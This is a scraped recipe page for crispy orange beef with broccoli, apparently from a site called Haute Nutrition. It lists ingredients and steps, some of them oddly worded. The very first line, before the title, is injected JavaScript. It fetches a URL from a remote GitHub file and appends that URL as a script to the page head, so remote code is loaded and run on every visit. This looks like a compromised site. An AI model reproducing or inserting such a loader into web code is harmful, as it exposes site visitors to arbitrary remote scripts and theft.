;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Crispy easy orange beef – Haute Nutrition
orange beef with brocoli

Crispy easy orange beef

orange beef with brocoli

Beef with crisp orange

Prep Time 10 mins
Cook Time 15 mins
Total Time 25 mins
Course Main Course
Cuisine American, Chinese
Servings 4
Calories 613 kcal

Ingredients
  

  • 700 g skirt steak
  • 45 ml cornstarch
  • 45 ml soy sauce
  • Crispy beef and orange sauce
  • 125 ml frying oil for frying I used coconut oil
  • 160 ml fresh orange juice
  • 45 ml coconut sugar or cane sugar
  • 30 ml rice vinegar
  • 10 ml fresh ginger minced
  • 65 ml very sliced ​​orange zest
  • 65 ml chopped green onion for garnish
  • 90 ml bragg sauce or gluten-free soy sauce
  • 30 ml toasted sesame oil

Instructions
 

  • Beef
  • Cut the meat into strips. . Add Braggs or soy sauce to pieces of meat and mix. Then add the cornstarch and coat each piece of meat.
  • Spread pieces of meat in one layer on a freeze plate for 15 minutes. This helps dry the meat and make it crisp when fried.
  • Heat oil add meat strips without piling them up. Put a good amount of oil, fill the entire surface of the pan
  • Line a plate with paper towels and start browning the meat. Fry until both sides are golden brown (about 3 minutes).
  • Sauce
  • Add the ingredients to a small bowl and whisk. When all the meat has been cooked, remove the oil and put the sauce in the pan. Bring to a boil then reduce the heat. Add the pieces of beef and stir to coat each piece of sauce.
  • Serve with mandolin-cut broccoli and  cauliflower rice or regular rice
Keyword ASIAN DISH, beef recipes